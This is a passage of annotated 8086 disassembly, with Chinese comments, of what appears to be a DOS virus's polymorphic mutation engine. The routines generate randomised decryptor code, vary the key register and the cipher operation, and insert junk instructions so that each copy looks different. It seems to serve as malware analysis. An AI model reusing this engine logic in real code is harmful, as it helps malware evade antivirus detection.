9E80:0CCA BA0531         MOV	DX,3105 	;DX = 31 05
9E80:0CCD EB2A           JMP	0CF9 		;加密算法为 XOR [DI],AX
;分支之二:
9E80:0CCF 803E0C1401     CMP	Byte Ptr [140C],01
9E80:0CD4 75DB           JNZ	0CB1
9E80:0CD6 81CD0004       OR	BP,0400 	;密匙寄存器为 CX
9E80:0CDA B7D3           MOV	BH,D3 		;则采用 ROL 算法
9E80:0CDC BA0DD3         MOV	DX,D30D 	;解密变型算法为 BX = D3 0D
9E80:0CDF 48             DEC	AX 		;ROR word ptr [??],CL
9E80:0CE0 7402           JZ	0CE4 		;加密算法为 D3 05
9E80:0CE2 87DA           XCHG	BX,DX 		;ROL word ptr [DI],CL
;分支之五					;修改 r/m 为 000 或 001
9E80:0CE4 A20C14         MOV	[140C],AL 	;因为D3 mm 000 r/m=ROL r/m16,CL
9E80:0CE7 EB10           JMP	0CF9 		;    D3 mm 001 r/m=ROR r/m16,CL
;分支之三
9E80:0CE9 86F7           XCHG	DH,BH 		;CH = 19 解密变型算法为 SBB
9E80:0CEB 86CD           XCHG	CL,CH 		;加密算法为 01 05, ADD [DI],AX
;分支之四
9E80:0CED E86A04         CALL	115A 		;BH = 11
9E80:0CF0 7507           JNZ	0CF9 		;解密变型算法为 ADC
9E80:0CF2 53             PUSH	BX 		;DX = 29 05
9E80:0CF3 8AFD           MOV	BH,CH 		;加密算法为 SUB [DI],AX
9E80:0CF5 E81403         CALL	100C 		;产生清 CY 标志指令
9E80:0CF8 3C53           CMP	AL,53    -----
                                              |
     0CF9 53             PUSH	BX            |
9E80:0CFA F7C50080       TEST	BP,8000  <----
9E80:0CFE 740F           JZ	0D0F
9E80:0D00 E8E103         CALL	10E4 		;判断寄存器之一是否为 BP
9E80:0D03 740A           JZ	0D0F 		;是转 0D0F
9E80:0D05 B02E           MOV	AL,2E		;2E = CS:
9E80:0D07 E85004         CALL	115A
9E80:0D0A 7502           JNZ	0D0E
9E80:0D0C B036           MOV	AL,36		;36 = SS:
9E80:0D0E AA             STOSB
9E80:0D0F 8AC7           MOV	AL,BH 		;
9E80:0D11 AA             STOSB
9E80:0D12 A10E14         MOV	AX,[140E]
9E80:0D15 80FCFF         CMP	AH,FF
9E80:0D18 7402           JZ	0D1C
9E80:0D1A 02C4           ADD	AL,AH 		;两寄存器 相加
9E80:0D1C BB910D         MOV	BX,0D91 	;BX+SI=9  BX+DI=10
9E80:0D1F D7             XLAT	 		;BP+SI=11 BP+DI=12
9E80:0D20 E8C103         CALL	10E4 		;换码后分别为 0/1/2/3
                        ;单寄存器时
                        ;BX=3     BP=5
                        ;SI=6     DI=7
                        ;换码后分别为 7/6/4/5
                        ;于 r/m 相对应
9E80:0D23 7506           JNZ	0D2B
9E80:0D25 FEC4           INC	AH
9E80:0D27 7502           JNZ	0D2B 		;两寄存器转 0D2B
9E80:0D29 0C40           OR	AL,40		;mm = 01, 即 r/m+disp8
9E80:0D2B 8B0E0614       MOV	CX,[1406] 	;[1406] = 指针偏移
9E80:0D2F BB0600         MOV	BX,0006
9E80:0D32 E81F04         CALL	1154
9E80:0D35 7402           JZ	0D39
9E80:0D37 E316           JCXZ	0D4F
9E80:0D39 0C40           OR	AL,40
9E80:0D3B E81C04         CALL	115A
9E80:0D3E 750D           JNZ	0D4D
9E80:0D40 83F97F         CMP	CX,+7F 		;判断密匙是否为字节
9E80:0D43 760A           JBE	0D4F 		;如果为字节转 0D4F
9E80:0D45 83F980         CMP	CX,-80 		;如果为字转 0D4D
9E80:0D48 7203           JB	0D4D 		;设置 mm 为 r/m+disp16
9E80:0D4A 32ED           XOR	CH,CH
9E80:0D4C 3D34C0         CMP	AX,C034
     0D4D 34C0           XOR	AL,C0		;即 OR AL,80
                                                ;mm = 10, 即 r/m+disp16
9E80:0D4F 8A260C14       MOV	AH,[140C] 	;密匙寄存器 => AH
9E80:0D53 D0E4           SHL	AH,1
9E80:0D55 D0E4           SHL	AH,1
9E80:0D57 D0E4           SHL	AH,1 		;将 r/m 字段加入 AL
9E80:0D59 0AC4           OR	AL,AH
9E80:0D5B AA             STOSB
9E80:0D5C A8C0           TEST	AL,C0
9E80:0D5E 7407           JZ	0D67
9E80:0D60 A880           TEST	AL,80
9E80:0D62 91             XCHG	AX,CX
9E80:0D63 AB             STOSW	 		;写指令 disp16 部分
9E80:0D64 7501           JNZ	0D67 		;如果为 disp8, DI 减一
9E80:0D66 4F             DEC	DI
9E80:0D67 873E0814       XCHG	DI,[1408] 	;[1408]为加密算法指针
9E80:0D6B F7C50004       TEST	BP,0400 	;如果密匙寄存器为 CX
9E80:0D6F 7403           JZ	0D74 		;则加密算法用 ROL/ROR [DI],CL
9E80:0D71 B091           MOV	AL,91 		;91 = XCHG AX, CX
9E80:0D73 AA             STOSB	 		;先把 AX 中密匙换到 CX 中
9E80:0D74 92             XCHG	AX,DX
9E80:0D75 86C4           XCHG	AL,AH 		;DX 为加密算法指令
9E80:0D77 893E0A14       MOV	[140A],DI 	;[140A] 为加密算法指令的
9E80:0D7B AB             STOSW	 		;结束位置
9E80:0D7C 7403           JZ	0D81
9E80:0D7E B091           MOV	AL,91 		;91 = XCHG AX, CX
9E80:0D80 AA             STOSB
9E80:0D81 873E0814       XCHG	DI,[1408] 	;恢复 DI 为变型代码指针
9E80:0D85 58             POP	AX
9E80:0D86 86C4           XCHG	AL,AH
9E80:0D88 A3CC12         MOV	[12CC],AX 	;???? 加密算法
9E80:0D8B 58             POP	AX
9E80:0D8C A20C14         MOV	[140C],AL 	;恢复密匙寄存器
9E80:0D8F 5D             POP	BP
9E80:0D90 C3             RET
;======================================================================
; 指针寄存器 ===> r/m 对应表
; 由 0D1F 查表
9E80:0D91 FF FF FF 07 FF 06 04 05 FF 00 01 02 03
;=====================================================================
; 由 0B02 调用, 随机决定是否每个循环改变密匙
;
9E80:0D9E E8B903         CALL	115A
9E80:0D9F 7501           JNZ	0DA4
9E80:0DA2 C3             RET
9E80:0DA4 55             PUSH	BP
9E80:0DA5 81CD0002       OR	BP,0200 	;标志: 要保存随机指令到 [1410]
9E80:0DA9 B80300         MOV	AX,0003
9E80:0DAC E8B703         CALL	1166
9E80:0DAF 751B           JNZ	0DCC
;分支之一
9E80:0DB1 E8AF03         CALL	1163
9E80:0DB4 92             XCHG	AX,DX 		;DX = 随机数
9E80:0DB5 A00C14         MOV	AL,[140C] 	;[140C] 为密匙寄存器
9E80:0DB8 E86C01         CALL	0F27 		;ADD R_AL,DX
                        ;随机改变密匙寄存器
9E80:0DBB 873E0814       XCHG	DI,[1408] 	;[1408] 为加密代码指针
9E80:0DBF 47             INC	DI
9E80:0DC0 A01014         MOV	AL,[1410] 	;[1410] 为密匙改变算法
9E80:0DC3 AA             STOSB	 		;加入加密算法代码中
9E80:0DC4 92             XCHG	AX,DX
9E80:0DC5 AB             STOSW
9E80:0DC6 873E0814       XCHG	DI,[1408] 	;恢复 DI 为变型解密算法指针
9E80:0DCA 5D             POP	BP
9E80:0DCB C3             RET
;分支之二
9E80:0DCC B004           MOV	AL,04
9E80:0DCE E89503         CALL	1166
9E80:0DD1 752A           JNZ	0DFD
9E80:0DD3 B8C0D1         MOV	AX,D1C0 	;D1C0 = ROL R_AL,1
9E80:0DD6 BB0200         MOV	BX,0002
9E80:0DD9 E87803         CALL	1154
9E80:0DDC 7510           JNZ	0DEE
9E80:0DDE 803E0D1401     CMP	Byte Ptr [140D],01
9E80:0DE3 7509           JNZ	0DEE 		;密文长度寄存器不为 CX
9E80:0DE5 F7C50004       TEST	BP,0400 	;且密匙寄存器为 CX 转 0DEE
9E80:0DE9 7503           JNZ	0DEE 		;否则使用 ROL R_AL,CL
9E80:0DEB 80CC02         OR	AH,02 		;现 AX = D3C0
9E80:0DEE 86C4           XCHG	AL,AH 		;即 ROL R_AL,CL
9E80:0DF0 50             PUSH	AX
9E80:0DF1 0A260C14       OR	AH,[140C] 	;存指令
9E80:0DF5 AB             STOSW
9E80:0DF6 58             POP	AX
9E80:0DF7 873E0814       XCHG	DI,[1408] 	;[1408] 为加密算法指令指针
9E80:0DFB EBC8           JMP	0DC5 		;保存加密算法指令
;分支之三
9E80:0DFD 48             DEC	AX
9E80:0DFE 7505           JNZ	0E05
9E80:0E00 B8C8D1         MOV	AX,D1C8 	;D1C8 = ROR R_AL,1
9E80:0E03 EBD1           JMP	0DD6 		;其它见 0DD6 处
;分支之四
9E80:0E05 48             DEC	AX
9E80:0E06 7505           JNZ	0E0D
9E80:0E08 B8D0F7         MOV	AX,F7D0 	;F7D0 = NOT R_AL
9E80:0E0B EBE1           JMP	0DEE
;分支之五
9E80:0E0D 48             DEC	AX
9E80:0E0E 7505           JNZ	0E15
9E80:0E10 B8D8F7         MOV	AX,F7D8 	;F7D8 = NEG R_AL
9E80:0E13 EBD9           JMP	0DEE
;分支之六
9E80:0E15 E84B03         CALL	1163
9E80:0E18 92             XCHG	AX,DX
9E80:0E19 A00C14         MOV	AL,[140C] 	;[140C] = 密匙寄存器
9E80:0E1C E86E01         CALL	0F8D 		;产生 ADD R_AL,数_DX 指令
9E80:0E1F EB9A           JMP	0DBB
;==========================================================================
; 本子程序由 0ADB 调用, 取随机寄存器于 [140C] 中 (密匙寄存器)
; 并产生 MOV R_140C, 密匙 指令
9E80:0E21 E8DC02         CALL	1100 		;取一寄存器
9E80:0E24 92             XCHG	AX,DX 		;
9E80:0E25 E83B03         CALL	1163
9E80:0E28 A3A311         MOV	[11A3],AX 	;随机数 (密匙)
9E80:0E2B 92             XCHG	AX,DX
9E80:0E2C A20C14         MOV	[140C],AL
9E80:0E2F E86F00         CALL	0EA1
9E80:0E32 C3             RET
;==========================================================================
; 本子程序由 0AD8 调用, 取随机寄存器于 140D 中 (计数寄存器)
; 并产生 MOV R_140D, 密文长度 指令
9E80:0E33 E8CA02         CALL	1100 		;取寄存器
9E80:0E36 A20D14         MOV	[140D],AL
9E80:0E39 BAED08         MOV	DX,08ED 	;产生 MOV R_AL,08ED
9E80:0E3C E86200         CALL	0EA1 		;08ED x 2 = 11DA 为解密数据长度
9E80:0E3F C3             RET
;==========================================================================
; 本子程序由 0ADE 调用, 产生指针寄存器
; 取第一偏移寄存器于 140E 中 (BX,BP,SI,DI 之一)
; 再取第二偏移寄存器于 140F 中, 并产生 MOV R_140E,xxxx 和 MOV R_140F,yyyy指令
; 其中 xxxx+yyyy+[1406] = 入口IP地址
; 指针寻址方式可能为 [BX/BP/SI/DI+xxxx] 或 [BX/BP+SI/DI+xxxx] 两种方式
9E80:0E40 8B160414       MOV	DX,[1404] 	;1404 = 解密后 IP 入口
9E80:0E44 E8AD02         CALL	10F4
9E80:0E47 A20E14         MOV	[140E],AL
9E80:0E4A C6060F14FF     MOV	Byte Ptr [140F],FF 	;第二偏移寄存器无
9E80:0E4F BB0300         MOV	BX,0003
9E80:0E52 E8FF02         CALL	1154
9E80:0E55 7533           JNZ	0E8A 		;随机分支 0E57 或 0E8A
9E80:0E57 3C06           CMP	AL,06
9E80:0E59 BBC000         MOV	BX,00C0 	;BX 中数用来测试 BP 中
9E80:0E5C 7202           JB	0E60 		;表示的寄存器是否存在
9E80:0E5E B328           MOV	BL,28		;00C0 => SI/DI, 0028 => BP/BX
                        ;以上几句为
                        ;当 R_AL 为 BP/BX 时测试 SI/DI
                        ;当 R_AL 为 SI/DI 时测试 BP/BX
9E80:0E60 85EB           TEST	BX,BP 		;测试寄存器是否存在
9E80:0E62 7426           JZ	0E8A 		;不存在转 0E8A
9E80:0E64 E88D02         CALL	10F4 		;取寄存器
9E80:0E67 50             PUSH	AX
9E80:0E68 E8BC02         CALL	1127 		;转换到 BIT
9E80:0E6B 84C3           TEST	BL,AL 		;测试是否为 BX 中的寄存器
9E80:0E6D 58             POP	AX
9E80:0E6E 7505           JNZ	0E75 		;是, 转 0E75
9E80:0E70 E8AB02         CALL	111E 		;恢复 BP 中寄存器, 重新选择
9E80:0E73 EBEF           JMP	0E64
9E80:0E75 A20F14         MOV	[140F],AL 	;保存寄存器到 [140F]
9E80:0E78 BBFFFF         MOV	BX,FFFF 	;产生随机数
9E80:0E7B E8D602         CALL	1154
9E80:0E7E 2BD3           SUB	DX,BX
9E80:0E80 87DA           XCHG	BX,DX
9E80:0E82 E81C00         CALL	0EA1 		;产生 MOV R_140F,随机数1
9E80:0E85 87DA           XCHG	BX,DX
9E80:0E87 A00E14         MOV	AL,[140E]
9E80:0E8A 33DB           XOR	BX,BX
9E80:0E8C E8CB02         CALL	115A
9E80:0E8F 7508           JNZ	0E99
9E80:0E91 BBFFFF         MOV	BX,FFFF
9E80:0E94 E8BD02         CALL	1154
9E80:0E97 2BD3           SUB	DX,BX
9E80:0E99 891E0614       MOV	[1406],BX 	;1406 为指针偏移
9E80:0E9D E80100         CALL	0EA1 		;产生 MOV R_140E,随机数2
9E80:0EA0 C3             RET	 		;RND1 + RND2 + [1406] = 入口DX
;===========================================================================
; 随机产生 MOV R_AL,数_DX 功能的代码
; 入口: AX = 寄存器, DX = 16位数据
;===========================================================================
9E80:0EA1 53             PUSH	BX
9E80:0EA2 52             PUSH	DX
9E80:0EA3 BB0400         MOV	BX,0004
9E80:0EA6 E8AB02         CALL	1154 		;随机分支
9E80:0EA9 7513           JNZ	0EBE 		;3/4 可能转 0EBE
9E80:0EAB BBFFFF         MOV	BX,FFFF
9E80:0EAE E8A302         CALL	1154
9E80:0EB1 2BD3           SUB	DX,BX
9E80:0EB3 E80A00         CALL	0EC0 		;产生 MOV R_AL,数_DX1 指令
9E80:0EB6 8BD3           MOV	DX,BX
9E80:0EB8 E8D200         CALL	0F8D 		;产生 ADD R_AL,数_DX2 指令
9E80:0EBB 5A             POP	DX 		;组合起来计 MOV R_AL,数_DX
9E80:0EBC 5B             POP	BX 		;其中 数_DX = 数_DX1 + 数_DX2
9E80:0EBD C3             RET
9E80:0EBE 5A             POP	DX
9E80:0EBF 5B             POP	BX
;==========================================================================
; 随机产生 MOV R_AL,数_DX 代码
;==========================================================================
9E80:0EC0 50             PUSH	AX
9E80:0EC1 53             PUSH	BX
9E80:0EC2 51             PUSH	CX
9E80:0EC3 52             PUSH	DX
9E80:0EC4 98             CBW
9E80:0EC5 BB0200         MOV	BX,0002
9E80:0EC8 E88902         CALL	1154
9E80:0ECB 7425           JZ	0EF2
9E80:0ECD B302           MOV	BL,02
9E80:0ECF E88202         CALL	1154
9E80:0ED2 7519           JNZ	0EED
;==========================================================================
; 分支之一: 产生指令 MOV r/m16,i16 或 LEA r/m16,[d16]
; 有两种可能性: C7 或 8D
9E80:0ED4 0DC0C7         OR	AX,C7C0 	;C7 mm 000 r/m 为 MOV r/m16,i16
9E80:0ED7 E88002         CALL	115A
9E80:0EDA 7507           JNZ	0EE3
9E80:0EDC B103           MOV	CL,03
9E80:0EDE D2E0           SHL	AL,CL
9E80:0EE0 35064A         XOR	AX,4A06 	;C700 xor 4A06 = 8D06
9E80:0EE3 86C4           XCHG	AL,AH 		;8D 00 rrr 110 为 LEA rrr,[d16]
9E80:0EE5 AB             STOSW
9E80:0EE6 92             XCHG	AX,DX
9E80:0EE7 AB             STOSW
9E80:0EE8 E83E01         CALL	1029
9E80:0EEB EB79           JMP	0F66
;==========================================================================
; 分支之二: 产生指令 MOV rrr,i16 (B8 + rrr)
9E80:0EED 0CB8           OR	AL,B8 		;B8 + r 为 MOV rrr,i16
9E80:0EEF AA             STOSB
9E80:0EF0 EBF4           JMP	0EE6
;===========================================================================
; 分支之三: 产生指令 SUB r/m16,r/m16 或 CLC/SBB r/m16,r/m16 指令先清零
; 再产生: ADD/XOR/ADC/OR r/m16,i16 指令
9E80:0EF2 50             PUSH	AX
9E80:0EF3 B103           MOV	CL,03
9E80:0EF5 8AE8           MOV	CH,AL
9E80:0EF7 D2E5           SHL	CH,CL
9E80:0EF9 0AC5           OR	AL,CH 		;使 r/m1 = r/m2 = R_AL
9E80:0EFB E85C02         CALL	115A
9E80:0EFE 7503           JNZ	0F03
9E80:0F00 80CC02         OR	AH,02
9E80:0F03 E85402         CALL	115A
9E80:0F06 751A           JNZ	0F22
9E80:0F08 0DC029         OR	AX,29C0 	;29 mm rrr r/m 为 SUB r/m16,r16
9E80:0F0B E84C02         CALL	115A
9E80:0F0E 7506           JNZ	0F16
9E80:0F10 80F430         XOR	AH,30		;29 xor 30 = 19
9E80:0F13 E8F600         CALL	100C 		;19 mm rrr r/m 为 SBB r/m16,r16
9E80:0F16 86C4           XCHG	AL,AH
9E80:0F18 AB             STOSW
9E80:0F19 E80D01         CALL	1029
9E80:0F1C 58             POP	AX
9E80:0F1D E80700         CALL	0F27 		;产生 ADD/ADC/XOR/OR 指令
9E80:0F20 EBC9           JMP	0EEB
;===========================================================================
; 分支之四: 产生指令 SUB r/m16,r/m16 或 CLC/SBB r/m16,r/m16 指令先清零
; 再产生: ADD/XOR/ADC/OR r/m16,i16 指令
9E80:0F22 0DC031         OR	AX,31C0 	;初始 AH = 0002
9E80:0F25 EBEF           JMP	0F16 		;33 mm rrr r/m = XOR r/m16,r16
;===========================================================================
; 随机产生 ADD R_AL,数_DX 功能的指令
; 入口 AL = 寄存器, DX = 16位数据 (原寄存器必须为 0)
9E80:0F27 50             PUSH	AX
9E80:0F28 53             PUSH	BX
9E80:0F29 51             PUSH	CX
9E80:0F2A 52             PUSH	DX
9E80:0F2B 98             CBW
9E80:0F2C BB0200         MOV	BX,0002
9E80:0F2F E82202         CALL	1154
9E80:0F32 B93035         MOV	CX,3530 	;CL 中的数据将与以后分支
9E80:0F35 7414           JZ	0F4B 		;中 AL 中的数据异或
9E80:0F37 B9080D         MOV	CX,0D08 	;指令有 4 种可能性:
9E80:0F3A 4B             DEC	BX 		;35 为 XOR AX,i16
9E80:0F3B 740E           JZ	0F4B 		;05 为 OR  AX,i16
9E80:0F3D B90005         MOV	CX,0500 	;15 为 ADD AX,i16
9E80:0F40 E81702         CALL	115A 		;02 为 ADC AX,i16
9E80:0F43 7506           JNZ	0F4B
9E80:0F45 B91015         MOV	CX,1510
9E80:0F48 E8C100         CALL	100C
9E80:0F4B F7C50002       TEST	BP,0200 	;需要保存代码到 [1410]
9E80:0F4F 7404           JZ	0F55
9E80:0F51 882E1014       MOV	[1410],CH
9E80:0F55 E80202         CALL	115A
9E80:0F58 7511           JNZ	0F6B
9E80:0F5A 0AC0           OR	AL,AL 		;如果 R_AL 是 AX
9E80:0F5C 750D           JNZ	0F6B 		;使用以上 4 种指令
9E80:0F5E 8AC5           MOV	AL,CH
9E80:0F60 AA             STOSB
9E80:0F61 92             XCHG	AX,DX
9E80:0F62 AB             STOSW
9E80:0F63 E8C300         CALL	1029
9E80:0F66 5A             POP	DX
9E80:0F67 59             POP	CX
9E80:0F68 5B             POP	BX
9E80:0F69 58             POP	AX
9E80:0F6A C3             RET
9E80:0F6B 0DC081         OR	AX,81C0 	;C0 or 30/08/00/10
9E80:0F6E 0AC1           OR	AL,CL 		;    =  F0/C8/C0/D0
9E80:0F70 E8E701         CALL	115A 		;81 F0 为 XOR r/m16,i16
9E80:0F73 750D           JNZ	0F82 		;81 C8 为 OR  r/m16,i16
9E80:0F75 83FA7F         CMP	DX,+7F 		;81 C0 为 ADD r/m16,i16
9E80:0F78 7605           JBE	0F7F 		;81 D0 为 ADC r/m16,i16
9E80:0F7A 83FA80         CMP	DX,-80
9E80:0F7D 7203           JB	0F82 		;如果立即数在 7F 到 -80 之间
9E80:0F7F 80CC02         OR	AH,02 		;用 83 F0/C8/C0/D0 指令
9E80:0F82 86C4           XCHG	AL,AH 		;为 XOR/OR/ADD/ADC r/m16,i8
9E80:0F84 AB             STOSW
9E80:0F85 A802           TEST	AL,02 		;81 xor 02 = 83
9E80:0F87 92             XCHG	AX,DX
9E80:0F88 74D8           JZ	0F62
9E80:0F8A AA             STOSB
9E80:0F8B EBD6           JMP	0F63
;==========================================================================
; 随机产生 ADD R_AL,数_DX 指令 (原寄存器不一定为 0)
9E80:0F8D 50             PUSH	AX
9E80:0F8E 53             PUSH	BX
9E80:0F8F 51             PUSH	CX
9E80:0F90 52             PUSH	DX
9E80:0F91 98             CBW
9E80:0F92 8BCA           MOV	CX,DX
9E80:0F94 BB0300         MOV	BX,0003
9E80:0F97 E8BA01         CALL	1154
9E80:0F9A 744F           JZ	0FEB
分支之一:
9E80:0F9C BBC040         MOV	BX,40C0
9E80:0F9F F7C50002       TEST	BP,0200 	;需要保存代码到 [1410]
9E80:0FA3 7405           JZ	0FAA
9E80:0FA5 C606101405     MOV	Byte Ptr [1410],05
9E80:0FAA 83F903         CMP	CX,+03 		;数据在 0 到 3 之间
9E80:0FAD 7218           JB	0FC7 		;转 0FC7
9E80:0FAF F7D9           NEG	CX
9E80:0FB1 83F903         CMP	CX,+03 		;数据在 0 到 -3 之间
9E80:0FB4 7735           JA	0FEB 		;数据在 3 到 -3 之间采用
9E80:0FB6 BBC848         MOV	BX,48C8 	;多条 INC/DEC 指令
9E80:0FB9 F7C50002       TEST	BP,0200 	;来完成
9E80:0FBD 7405           JZ	0FC4 		;负数用 DEC, 正数用 INC
9E80:0FBF C60610142D     MOV	Byte Ptr [1410],2D
9E80:0FC4 42             INC	DX
9E80:0FC5 41             INC	CX
9E80:0FC6 3D4A49         CMP	AX,494A
     0FC7 4A             DEC	DX
     0FC8 49             DEC	CX
9E80:0FC9 50             PUSH	AX
9E80:0FCA B80500         MOV	AX,0005
9E80:0FCD E89601         CALL	1166
9E80:0FD0 58             POP	AX
9E80:0FD1 50             PUSH	AX
9E80:0FD2 7509           JNZ	0FDD
9E80:0FD4 B4FF           MOV	AH,FF 		;FF mm 001 r/m = DEC r/m16
9E80:0FD6 86DF           XCHG	BL,BH 		;FF mm 000 r/m = INC r/m16
9E80:0FD8 86C4           XCHG	AL,AH
9E80:0FDA AA             STOSB
9E80:0FDB 86C4           XCHG	AL,AH
9E80:0FDD 0AC7           OR	AL,BH 		;48 + r = DEC rrr
9E80:0FDF AA             STOSB	 		;40 + r = INC rrr
9E80:0FE0 58             POP	AX
9E80:0FE1 E84500         CALL	1029
9E80:0FE4 0BD2           OR	DX,DX 		;DX 内数据还未为零
9E80:0FE6 75AC           JNZ	0F94 		;转 0F94 继续循环
9E80:0FE8 E97BFF         JMP	0F66
; DX 数据不在 3 到 -3 之间
9E80:0FEB E86C01         CALL	115A
9E80:0FEE 7403           JZ	0FF3
9E80:0FF0 E94AFF         JMP	0F3D 		;转产生 ADD/ADC R_AL,数_DX
9E80:0FF3 F7C50002       TEST	BP,0200
9E80:0FF7 7502           JNZ	0FFB
9E80:0FF9 F7DA           NEG	DX 		;数_DX 取反
;=========================================================================
; 分支之二
9E80:0FFB B9282D         MOV	CX,2D28 	;81 mm 101 r/m = SUB r/m16,i16
9E80:0FFE E85901         CALL	115A 		;即 81 28
9E80:1001 7403           JZ	1006 		;2D + r = SUB AX,i16
9E80:1003 E945FF         JMP	0F4B 		;81 mm 011 r/m = SBB r/m16,i16
9E80:1006 B9181D         MOV	CX,1D18 	;即 81 18
9E80:1009 E93CFF         JMP	0F48 		;1D + r = SBB AX,i16
;==========================================================================
; 产生清 CY 标志指令
; 有两种可能性: CLC 或 STC/CMC
9E80:100C 50             PUSH	AX
9E80:100D 55             PUSH	BP 		;BP = 0800 表示
9E80:100E 81CD0008       OR	BP,0800 	;随机指令中不能改变 CY 标志
9E80:1012 B0F8           MOV	AL,F8 		;F8 为 CLC
9E80:1014 E84301         CALL	115A
9E80:1017 7509           JNZ	1022
9E80:1019 B8F9F5         MOV	AX,F5F9 	;F9/F5 为 STC/CMC
9E80:101C AA             STOSB
9E80:101D E80900         CALL	1029
9E80:1020 86C4           XCHG	AL,AH
9E80:1022 AA             STOSB
9E80:1023 E80300         CALL	1029
9E80:1026 5D             POP	BP
9E80:1027 58             POP	AX
9E80:1028 C3             RET
;=========================================================================
; 随机产生无效指令 0 - 2 句
; 入口:  无              出口:  无
9E80:1029 50             PUSH	AX
9E80:102A B80200         MOV	AX,0002
9E80:102D E83601         CALL	1166
9E80:1030 91             XCHG	AX,CX 		;产生小于 3 的随机数于 CX
9E80:1031 E305           JCXZ	1038
9E80:1033 E80500         CALL	103B 		;随机产生无效指令
9E80:1036 E2FB           LOOP	1033
9E80:1038 91             XCHG	AX,CX
9E80:1039 58             POP	AX
9E80:103A C3             RET
;=========================================================================
; 随机产生一句无效指令
; 入口:  无              出口:  无
9E80:103B 50             PUSH	AX
9E80:103C 53             PUSH	BX
9E80:103D 51             PUSH	CX
9E80:103E 52             PUSH	DX
9E80:103F 55             PUSH	BP
9E80:1040 F7C50001       TEST	BP,0100 	;如果 BP=0100, 则不执行
9E80:1044 7543           JNZ	1089
9E80:1046 81E5FFFD       AND	BP,FDFF 	;清 BP 0200
9E80:104A 81CD0001       OR	BP,0100 	;设置不执行本子程序标志
9E80:104E E80901         CALL	115A
9E80:1051 7536           JNZ	1089 		;随机分支
9E80:1053 B103           MOV	CL,03
9E80:1055 E80B01         CALL	1163
9E80:1058 92             XCHG	AX,DX 		;DX = 随机数
9E80:1059 E8A400         CALL	1100 		;随机取一个寄存器于 AX
9E80:105C 722B           JB	1089
9E80:105E BB0600         MOV	BX,0006
9E80:1061 F7C50008       TEST	BP,0800 	;随机指令中是否可以改变 C
9E80:1065 7402           JZ	1069 		;标志位, 如果可以, 产生 7 种
9E80:1067 B302           MOV	BL,02 		;如果不可以, 产生 3 种随机代码
9E80:1069 E8E800         CALL	1154
9E80:106C 751F           JNZ	108D 		;随机分支, 入口 AX = 寄存器
;===============================================
; 106C 处随机分支一, 产生 MOV R_AL,R_DL 指令
; 有两种可能 89 或 8C (两种 MOV 指令)
9E80:106E 80CC89         OR	AH,89 		;89 mm rrr r/m 为指令
9E80:1071 E8E600         CALL	115A 		;MOV r/m16, r16
9E80:1074 7405           JZ	107B
9E80:1076 80CC02         OR	AH,02 		;8C mm rrr r/m 为指令
9E80:1079 86C2           XCHG	AL,DL 		;MOV r16, r/m16
9E80:107B 80E207         AND	DL,07
9E80:107E 2407           AND	AL,07
9E80:1080 D2E2           SHL	DL,CL
9E80:1082 0CC0           OR	AL,C0 		;即 mm 为 11: 表示 r/m 为 rrr
9E80:1084 0AC2           OR	AL,DL
9E80:1086 86C4           XCHG	AL,AH
9E80:1088 AB             STOSW	 		;随机产生 MOV R_AL,R_DL
9E80:1089 5D             POP	BP 		;(两种可能: 89 或 8C)
9E80:108A E9D9FE         JMP	0F66
9E80:108D 4B             DEC	BX
9E80:108E 7520           JNZ	10B0
;============================================================================
; 106C 处随机分支二, 产生 XCHG R_AL,R_DL 指令
; 当寄存器之一为 AX 时使用 90, 否则使用 87
9E80:1090 92             XCHG	AX,DX
9E80:1091 E86C00         CALL	1100
9E80:1094 72F3           JB	1089 		;随机取一个寄存器于 AX
9E80:1096 92             XCHG	AX,DX 		;DX = 随机寄存器
9E80:1097 E8C000         CALL	115A 		;随机决定是否使用 AX 专用指令
9E80:109A 7508           JNZ	10A4
9E80:109C 0AD2           OR	DL,DL 		;寄存器之一为 AX 转 10A9
9E80:109E 7409           JZ	10A9 		;使用 AX 专用指令 90
9E80:10A0 0AC0           OR	AL,AL
9E80:10A2 7405           JZ	10A9
9E80:10A4 80CC87         OR	AH,87 		;87 mm rrr r/m 为指令
9E80:10A7 EBD2           JMP	107B 		;XCHG r/m16, r16
9E80:10A9 0C90           OR	AL,90 		;90 + r 为指令
9E80:10AB 0AC2           OR	AL,DL 		;XCHG AX, r16
9E80:10AD AA             STOSB
9E80:10AE EBD9           JMP	1089
9E80:10B0 4B             DEC	BX
9E80:10B1 750B           JNZ	10BE
;=============================================================================
; 106C 处随机分支三, 随机产生前缀 CS: SS: STD CLD 或 STI
9E80:10B3 B004           MOV	AL,04
9E80:10B5 E8AE00         CALL	1166
9E80:10B8 BBDF10         MOV	BX,10DF 	;查表随机产生 CS:, SS:, STD
9E80:10BB D7             XLAT	 		;CLD 或 STI
9E80:10BC EBEF           JMP	10AD
;============================================================================
; 106C 处随机分支之四, 产生 MOV R_AL,数_DX 指令
; 可能用 XOR/OR/ADD/ADC 等指令
; 有 12 种可能 35, 0D, 05, 15, 81(83) F0, 81(83) C8, 81(83) C0, 81(83) D0
9E80:10BE 4B             DEC	BX
9E80:10BF 7505           JNZ	10C6
9E80:10C1 E863FE         CALL	0F27 		;调用 0F27
9E80:10C4 EBC3           JMP	1089
;==========================================================================
; 106C 处随机分支之五, 产生 ADD R_AL,数_DX 指令
; 可能用 DEC/INC/ADD/ADC/SBB/SUB 等指令
9E80:10C6 4B             DEC	BX
9E80:10C7 7505           JNZ	10CE
9E80:10C9 E8C1FE         CALL	0F8D 		;调用 0F8D
9E80:10CC EBBB           JMP	1089
;===========================================================================
; 106C 处随机分支之六, 产生 MOV R_AL,数_DX 指令
; 具体见 0EA1 (0F8D 和 0F27 的组合)
9E80:10CE 4B             DEC	BX
9E80:10CF 7505           JNZ	10D6
9E80:10D1 E8CDFD         CALL	0EA1 		;调用 0EA1
9E80:10D4 EBB3           JMP	1089 		;产生 MOV R_AL,数DX 指令
;===========================================================================
; 106C 处随机分支之七, 产生 ADD R_AL,R_DL 指令
; 有两种可能, 01 或 03
9E80:10D6 80E638         AND	DH,38
9E80:10D9 B401           MOV	AH,01 		;01 mm rrr r/m 为 ADD r/m16,r16
9E80:10DB 0AE6           OR	AH,DH 		;03 mm rrr r/m 为 ADD r16,r/m16
9E80:10DD EB92           JMP	1071
; 由 10BB 处查表
9E80:10DF 2E 36 FC FD FB   ( CS: SS: STD CLD STI )
9E80:10E4 803E0E1405     CMP	Byte Ptr [140E],05
9E80:10E9 7405           JZ	10F0
9E80:10EB 803E0F1405     CMP	Byte Ptr [140F],05
9E80:10F0 C3             RET
;=======================================================================
